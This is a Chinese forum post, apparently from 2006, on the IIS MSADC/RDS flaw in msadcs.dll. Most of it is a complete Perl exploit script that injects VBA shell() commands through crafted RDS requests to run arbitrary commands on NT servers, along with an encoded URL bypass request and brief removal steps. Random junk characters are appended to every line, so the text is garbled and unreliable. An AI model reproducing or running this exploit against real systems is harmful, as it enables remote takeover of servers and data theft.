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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) _0^>^he  
k_u!E3{~  
涉及程序: lcpiCZ  
Microsoft NT server Z VdQ$  
gx^!&>eIb#  
描述: w]h8KNt  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 b5%<},ySq  
l0t(t*[Mj  
详细: B<.\^f uS  
如果你没有时间读详细内容的话,就删除: I<<1mEk  
c:\Program Files\Common Files\System\Msadc\msadcs.dll *K?UWi#$  
有关的安全问题就没有了。 d:A'|;']  
E+<GsN]  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 _XY(Qd  
cQd?,B3#F  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ?ZC!E0]  
关于利用ODBC远程漏洞的描述,请参看: MK Sw  
,{(XT7hr  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm {*8G<&  
e#}Fm;|d  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 -\%5aXr  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp (4q/LuP^d  
\@h$|nb  
这里不再论述。 nLk`W"irM  
*a|575e< z  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: se>\5k  
/L(}VJg-  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset +]wM$bP  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! =Sr<d|\O  
FaWc:GsfB  
#>G:6'r  
#将下面这段保存为txt文件,然后: "perl -x 文件名" TT3GGHR  
PvW4%A@0  
#!perl +CSv@ />3  
# )+,h}XqlX  
# MSADC/RDS 'usage' (aka exploit) script B9 ?58v&  
# O.y ?q  
# by rain.forest.puppy )@Y< <9'2  
# \pI {b9  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me nW\W<[O9  
# beta test and find errors! <9xr? i=  
H*N{4zBB  
use Socket; use Getopt::Std; wRK27=\z  
getopts("e:vd:h:XR", \%args); m&q0 _nay  
S"^'ksL\  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; >Sw?F&  
6M_ W(  
if (!defined $args{h} && !defined $args{R}) { EAWBgOO8iC  
print qq~ *+6iXMwe  
Usage: msadc.pl -h <host> { -d <delay> -X -v } :YkAp9civ  
-h <host> = host you want to scan (ip or domain) csJ)Pt?d  
-d <seconds> = delay between calls, default 1 second ~W4SFp  
-X = dump Index Server path table, if available c,)]!{c  
-v = verbose Us# /#-hJ  
-e = external dictionary file for step 5 J2oh#TGp  
s]A8C^;c  
Or a -R will resume a command session xbcmvJrG  
Vep 41\g^  
~; exit;} M5:*aCN6P  
,|z zq@fk  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; j}tGcFwvSN  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} WL,2<[)Ew  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} km^ZF<.@  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); jyyig%  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Y1ca=ewFx  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 7cB{Iq0+  
}$uwAevP{y  
if (!defined $args{R}){ $ret = &has_msadc; `@ ,Vbn^_  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} G[_Z|Xi1  
OfA+|xT&  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" x\:KfYr4Y;  
. "cmd /c "; br k*;  
$in=<STDIN>; chomp $in; ~d\V>  
$command="cmd /c " . $in ; <rui\/4NJ  
:w|=o9J  
if (defined $args{R}) {&load; exit;} Ets6tM`  
bF,.6iKI  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 't*]6^  
&try_btcustmr; -U9C{q?h  
ku}`PS0UGd  
print "\nStep 2: Trying to make our own DSN..."; L>7@!/ 9L  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; }1Mf0S  
\x4:i\Fx@  
print "\nStep 3: Trying known DSNs..."; NN+;I^NqW&  
&known_dsn; }[@Q**j(  
Q]K$yo  
print "\nStep 4: Trying known .mdbs..."; (=1zMZ o  
&known_mdb; BKE?o^03  
c (5XT[Tw  
if (defined $args{e}){ ~h=iZ/g_^_  
print "\nStep 5: Trying dictionary of DSN names..."; DC BN89#  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ;GOu'34j  
[C;Neslo  
print "Sorry Charley...maybe next time?\n"; XUUP#<,s  
exit; Pn@DHYP  
cmCD}Skk  
############################################################################## uD{ xs  
s0x/2z  
sub sendraw { # ripped and modded from whisker {5%d#|?  
sleep($delay); # it's a DoS on the server! At least on mine... =_@) KWeX$  
my ($pstr)=@_; ug;\`.nT^  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ){eQ.yW  
die("Socket problems\n"); -^7 $HD  
if(connect(S,pack "SnA4x8",2,80,$target)){ Tj<B;f!u  
select(S); $|=1; 7D'D7=Z.  
print $pstr; my @in=<S>; 3a ZS1]/  
select(STDOUT); close(S); mtE+}b@(!&  
return @in; yFd94 2  
} else { die("Can't connect...\n"); }} Ar?ZUASJ  
*|C vK&7  
############################################################################## #QSSpsF@  
R"O%##Ws  
sub make_header { # make the HTTP request {[Ri:^nHgL  
my $msadc=<<EOT 4C_1wk('  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 5!Y\STn  
User-Agent: ACTIVEDATA Wc+(xk  
Host: $ip 2(3Q#3V  
Content-Length: $clen x+6z9{O  
Connection: Keep-Alive Khi6z&B  
P}gtJ;  
ADCClientVersion:01.06 vjm? X  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ,JK0N_=  
a1I-d=]  
--!ADM!ROX!YOUR!WORLD! ~Uv#)  
Content-Type: application/x-varg y4p"LD5%^  
Content-Length: $reqlen !BkE-9v?w  
Ce<z[?u  
EOT oowofi(E  
; $msadc=~s/\n/\r\n/g; {%>~ ]9E  
return $msadc;} = E_i  
Y]`=cR`/"  
############################################################################## XZ@+aG_%q  
(9aOET>GG  
sub make_req { # make the RDS request 3Q62H+MC  
my ($switch, $p1, $p2)=@_; B\rY\  
my $req=""; my $t1, $t2, $query, $dsn; jJ<&!=  
'\8YH+%It  
if ($switch==1){ # this is the btcustmr.mdb query V(ww F  
$query="Select * from Customers where City=" . make_shell(); l6WEx -d  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . DIQ30(MS  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} iH-,l  
2RNee@!JJP  
elsif ($switch==2){ # this is general make table query Lc}hjK  
$query="create table AZZ (B int, C varchar(10))"; L7rr/D  
$dsn="$p1";} ,D`jlY-1l  
6<S-o|Xw  
elsif ($switch==3){ # this is general exploit table query R||$Rfe  
$query="select * from AZZ where C=" . make_shell(); x<!]#**;  
$dsn="$p1";} wj}LVyV  
oP56f"BE(  
elsif ($switch==4){ # attempt to hork file info from index server Wll0mtv  
$query="select path from scope()"; ^vG<Ma.yk  
$dsn="Provider=MSIDXS;";} UIf#Gy|l  
(NR( )2  
elsif ($switch==5){ # bad query `&fW<5-  
$query="select"; (_}q>3  
$dsn="$p1";} B:v_5e\f@  
!F}GSDDV*  
$t1= make_unicode($query); |-{ Hy(9  
$t2= make_unicode($dsn); h+H+>,N8`  
$req = "\x02\x00\x03\x00"; 6%6dzZ  
$req.= "\x08\x00" . pack ("S1", length($t1)); X!z-J>  
$req.= "\x00\x00" . $t1 ; pwHe&7e#  
$req.= "\x08\x00" . pack ("S1", length($t2)); 4>L* 7i  
$req.= "\x00\x00" . $t2 ; #M w70@6  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; r]\[G6mE%  
return $req;} )^qXjF  
Z D"*fr  
############################################################################## qlPIxd  
cL4Go,)w  
sub make_shell { # this makes the shell() statement S m=ln)G=  
return "'|shell(\"$command\")|'";} 3A"TpR4f`  
Kzq^f=p  
############################################################################## 4x+[?fw  
Q/Z>w+zh#  
sub make_unicode { # quick little function to convert to unicode Zi}h\R a  
my ($in)=@_; my $out; &${| o@  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } o?M;f\Fy  
return $out;} 5X];?(VTsb  
Px?"5g#+  
############################################################################## u|$HA>F[  
A~E S{Zkh  
sub rdo_success { # checks for RDO return success (this is kludge)  Lhg  
my (@in) = @_; my $base=content_start(@in); f&5S`}C  
if($in[$base]=~/multipart\/mixed/){ I'{Ctc  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} *< fJgc"3  
return 0;} p(GI02|n  
'M?ptu?f  
############################################################################## "-Ny f  
v4rO 0y=C  
sub make_dsn { # this makes a DSN for us GGHeC/4  
my @drives=("c","d","e","f"); l> H'PP~  
print "\nMaking DSN: "; i}>EGmv m  
foreach $drive (@drives) { NqKeQezX  
print "$drive: "; [=cbzmX[  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . &*O'qOO<2  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" GcO:!b*YMp  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); :f7!?^;y>  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; u"hr4+/  
return 0 if $2 eq "404"; # not found/doesn't exist RJDk7{(  
if($2 eq "200") { =$#5Ge]b  
foreach $line (@results) { aG =6(ec.  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 4n(w{W>  
} return 0;} 6A>bm{`c:  
>HwVP.~HN  
############################################################################## 17l?li  
;IPk+,hpmi  
sub verify_exists { ]QHZ [C  
my ($page)=@_; CcV@YST?  
my @results=sendraw("GET $page HTTP/1.0\n\n"); @m`H~]AU  
return $results[0];} V{>;Z vj1R  
wS7Vo{#@\  
############################################################################## +Gy9K  
FR'Nzi$  
sub try_btcustmr { ia /#`#.  
my @drives=("c","d","e","f"); QjpJIw  
my @dirs=("winnt","winnt35","winnt351","win","windows"); "BpDlTYM  
Imzh`SI,  
foreach $dir (@dirs) { a ge8I$*`@  
print "$dir -> "; # fun status so you can see progress I=[09o  
foreach $drive (@drives) { JCZ&TK  
print "$drive: "; # ditto 69ycP(  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; /: \27n  
$reqlenlen=length( "$reqlen" ); dKDCJ t]t  
$clen= 206 + $reqlenlen + $reqlen; 6=Q6J  
Ax@7RJ||  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); c-.F {~  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} kMEXgzl  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 3ErV" R4"$  
5?(dI9A"K  
############################################################################## <H<Aba9\  
WyQ8}]1b  
sub odbc_error { *j1Skd.#At  
my (@in)=@_; my $base; !](Mt?e  
my $base = content_start(@in); Ty!V)i  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this J- l[dC  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 2.{<C.BK{  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; =7:}/&  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; hlc g[Qdo*  
return $in[$base+4].$in[$base+5].$in[$base+6];} %Y|AXx R  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; NX;{L#lQ  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . BjjuZN&  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} w}07u5  
Ut1s~b1  
############################################################################## }p)a 7xn}  
yVPFH~1@\  
sub verbose { Bv*VNfUm  
my ($in)=@_; %%wngiz\  
return if !$verbose; #t# S(A9)  
print STDOUT "\n$in\n";} e cvZwL  
9/&1lFKJ  
############################################################################## 0f+]I=1\  
xTcY&   
sub save { m^/>C -&C  
my ($p1, $p2, $p3, $p4)=@_; *z~J ]  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; \0qFOjVj  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; & }"I!  
close OUT;} Tn3C0  
3XbFg%8YG  
############################################################################## #:MoZw`rlw  
!HXsxNe  
sub load { >A6PH*x  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; bgInIe  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Ia^/^>  
@p=<IN>; close(IN); )J[Ady^5  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); %$_?%X0=t  
$target= inet_aton($ip) || die("inet_aton problems"); vKkvB;F41  
print "Resuming to $ip ..."; $x+ P)5)  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; &XhxkN$8  
if($p[1]==1) { 'P&r^V\~(/  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; mII8jyg*c  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ( Y mIui>  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); >Ij# +=  
if (rdo_success(@results)){print "Success!\n";} l,b_' m@  
else { print "failed\n"; verbose(odbc_error(@results));}} t#]VR7]  
elsif ($p[1]==3){ 8L@@UUjr  
if(run_query("$p[3]")){ [R~@#I P!  
print "Success!\n";} else { print "failed\n"; }} M&/e*Ta5  
elsif ($p[1]==4){ k5)IBO  
if(run_query($drvst . "$p[3]")){ 3VQmo\li  
print "Success!\n"; } else { print "failed\n"; }} oye/tEMG  
exit;} +fMW B  
Jx4~o{Z}c  
############################################################################## , d4i0;2}+  
!E *IktAI  
sub create_table { r9-)+R J  
my ($in)=@_; `E>o:tff  
$reqlen=length( make_req(2,$in,"") ) - 28; y dzvjp=  
$reqlenlen=length( "$reqlen" ); cf_X=;yaqy  
$clen= 206 + $reqlenlen + $reqlen; .e S* F  
my @results=sendraw(make_header() . make_req(2,$in,"")); )B5U0iIi  
return 1 if rdo_success(@results); "MOmJYH  
my $temp= odbc_error(@results); verbose($temp); K<u~[^R  
return 1 if $temp=~/Table 'AZZ' already exists/; N,cj[6;T%  
return 0;} Z>'hNj)ju  
6HVGqx  
############################################################################## P\ 2Bx *e  
f5nAD  
sub known_dsn { #Pq6q.UB  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go t 9.iWIr  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 2l8z/o7v  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", i}5+\t[Q  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 57U;\L;ZmZ  
F2=#\U$  
foreach $dSn (@dsns) { QVN @B[9  
print "."; 8O*O 5   
next if (!is_access("DSN=$dSn")); 6 )Qe*S  
if(create_table("DSN=$dSn")){ dSzq}w4xY  
print "$dSn successful\n"; k0DX|O8mXV  
if(run_query("DSN=$dSn")){ gLg\W3TOi  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { d[ce3':z  
print "Something's borked. Use verbose next time\n";}}} print "\n";} p*Hf<)}  
C2J@]&  
############################################################################## Bq85g5Dc  
a'\fS7aE0l  
sub is_access { 8 A#\V  
my ($in)=@_; 072`i 46  
$reqlen=length( make_req(5,$in,"") ) - 28; ! AL?bW  
$reqlenlen=length( "$reqlen" ); _3_o/I  
$clen= 206 + $reqlenlen + $reqlen; Fz_8m4  
my @results=sendraw(make_header() . make_req(5,$in,"")); sJLJVSv8c  
my $temp= odbc_error(@results); Qhn>aeW,  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); xx%*85<  
return 0;} gf|&u4D  
5kj=Y]9\I  
############################################################################## {E>(%vD  
;cWFh4_  
sub run_query { 54&&=NVs|  
my ($in)=@_; RYX=;n  
$reqlen=length( make_req(3,$in,"") ) - 28; *wz62p  
$reqlenlen=length( "$reqlen" ); #!M;4~Sfx  
$clen= 206 + $reqlenlen + $reqlen; HG})V PBa  
my @results=sendraw(make_header() . make_req(3,$in,"")); mz .uK2l{  
return 1 if rdo_success(@results); X]%n#\t,]  
my $temp= odbc_error(@results); verbose($temp); %|?PG i@5  
return 0;} x$V[xX  
/57)y_ \  
############################################################################## q?Mmkh)g  
If.hA}  
sub known_mdb { cz*Z/5XH  
my @drives=("c","d","e","f","g"); xV5eKV  
my @dirs=("winnt","winnt35","winnt351","win","windows"); @1 )][r-7  
my $dir, $drive, $mdb; :U#4H;kk~j  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 0o&7l%Y/  
pd}af iF  
# this is sparse, because I don't know of many  0GiL(e|  
my @sysmdbs=( "\\catroot\\icatalog.mdb", +t;j5\HS  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ?-P W$p  
"\\system32\\certmdb.mdb", |Ns[{/  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Qc"UTvq  
I78huYAYA  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 0SWec7G  
"\\cfusion\\cfapps\\forums\\forums_.mdb", nSV OS6  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", PF/eQZ*4  
"\\cfusion\\cfapps\\security\\realm_.mdb", / CVhvK  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 1x4{~g\  
"\\cfusion\\database\\cfexamples.mdb", ~G`(=\_0  
"\\cfusion\\database\\cfsnippets.mdb", 5ayH5=(t  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Zo36jSrCL  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ^Zw1X6C5~  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 0N*~"j;r#M  
"\\cfusion\\database\\smpolicy.mdb", Yf,U2A\  
"\\cfusion\\database\cypress.mdb", Y+#Vz IZw  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", _n_|skG  
"\\website\\cgi-win\\dbsample.mdb", . [\S=K|/  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", GbZqLZ0  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" |B.tBt^  
); #these are just '>5W`lZ  
foreach $drive (@drives) { $[8GFv  
foreach $dir (@dirs){ @phb5  
foreach $mdb (@sysmdbs) { BDT1qiC  
print "."; |Orp:e!  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ [CJr8Qn  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 41jx+ 0\Z  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ L+y90 T6?  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; C e1^S[  
} else { print "Something's borked. Use verbose next time\n"; }}}}} yGtGhP8  
=;^#5dpt$  
foreach $drive (@drives) { Zo|# ,AdE>  
foreach $mdb (@mdbs) { 3]}wZY0  
print "."; Kr|9??`0E  
if(create_table($drv . $drive . $dir . $mdb)){ Zb=H\#T  
print "\n" . $drive . $dir . $mdb . " successful\n"; $ @cg+Xrg1  
if(run_query($drv . $drive . $dir . $mdb)){ .#y.:Pb|e  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;  \>*B  
} else { print "Something's borked. Use verbose next time\n"; }}}} =E''$b?Em  
} WrNm:N  
c:MP^PWc  
############################################################################## 8(c,b  
'm,3znX!c  
sub hork_idx { _+hf.[""  
print "\nAttempting to dump Index Server tables...\n"; VCZ.{MD  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n";  &(Ot(.  
$reqlen=length( make_req(4,"","") ) - 28; }?jL;CCe  
$reqlenlen=length( "$reqlen" ); [vs5e3B)  
$clen= 206 + $reqlenlen + $reqlen; o3~ecJ?k  
my @results=sendraw2(make_header() . make_req(4,"","")); .A`Q!  
if (rdo_success(@results)){ Ec^x  
my $max=@results; my $c; my %d; IirXF?&t  
for($c=19; $c<$max; $c++){ Gn_rf"  
$results[$c]=~s/\x00//g; IMDGinHAy  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; hI{M?LQd  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; i?&g;_n^  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; H#l uG_)  
$d{"$1$2"}="";} ErNL^Se1  
foreach $c (keys %d){ print "$c\n"; } |i7j }i  
} else {print "Index server doesn't seem to be installed.\n"; }} b xT|  
IP E2t  
############################################################################## " E U[Lb  
8f37o/L  
sub dsn_dict { <g|\]\C|  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); :NJ(QkTZv  
while(<IN>){ 3~7X2}qU  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; &nk[gb o\  
next if (!is_access("DSN=$dSn")); |Y6+Y{|\  
if(create_table("DSN=$dSn")){ "Y Z B@  
print "$dSn successful\n"; R7 )2@;i  
if(run_query("DSN=$dSn")){ 6ZCSCBW  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { P O,mg?JG(  
print "Something's borked. Use verbose next time\n";}}} CE19V:zp  
print "\n"; close(IN);} rG _T!']~  
(c<MyuWb  
############################################################################## V9tG2m Lf>  
Jf-4Q!  
sub sendraw2 { # ripped and modded from whisker 9K\A4F}  
sleep($delay); # it's a DoS on the server! At least on mine... Qb}1tn)  
my ($pstr)=@_; n9}3>~ll  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ;-:Nw6 E  
die("Socket problems\n"); 8R;)WlLu=  
if(connect(S,pack "SnA4x8",2,80,$target)){ :qbbo~U  
print "Connected. Getting data"; vnT'.cBB:^  
open(OUT,">raw.out"); my @in; ',o ,o%n  
select(S); $|=1; print $pstr; *-gd k9  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ([y2x.kd  
close(OUT); select(STDOUT); close(S); return @in; 9#CE m &c  
} else { die("Can't connect...\n"); }} tiI:yq0  
$d]3ek/  
############################################################################## +5|wd6  
IXaF(2>  
sub content_start { # this will take in the server headers MY]Z@  
my (@in)=@_; my $c; a&3pPfC  
for ($c=1;$c<500;$c++) { dVh*  a  
if($in[$c] =~/^\x0d\x0a/){ h7iI=[_V  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } %. =B=*  
else { return $c+1; }}} '$@bTW  
return -1;} # it should never get here actually #Ont1>T,G  
bn b:4?d]  
############################################################################## DdY89R 6  
/~?'zr  
sub funky { C 'YL9r-G  
my (@in)=@_; my $error=odbc_error(@in); 0:Ow$  
if($error=~/ADO could not find the specified provider/){ g q|T:  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; dD Qx[  
exit;} LZirw'  
if($error=~/A Handler is required/){ YY\$lM  
print "\nServer has custom handler filters (they most likely are patched)\n"; [ &cCE   
exit;} WJp9io[GM  
if($error=~/specified Handler has denied Access/){ 2m]C mdV^  
print "\nServer has custom handler filters (they most likely are patched)\n"; uTgvMkO  
exit;}} nU{ }R"|  
"enGWI H  
############################################################################## \t6k(5J  
8J}gj7^8  
sub has_msadc { osS?SuQTE  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); JVPl\I  
my $base=content_start(@results); u|v2J/_5Y  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ,i>{yrsOh  
return 0;} @+OX1-dd/w  
s  bl> i  
######################## B:-qUuS?R  
#nTzn2  
;<j[0~qp:  
解决方案: ?Vy% <f$  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll lV4|(NQ9  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 {yo<19kV@  
#le1 ^ <w7  
拿出来充数 哈哈
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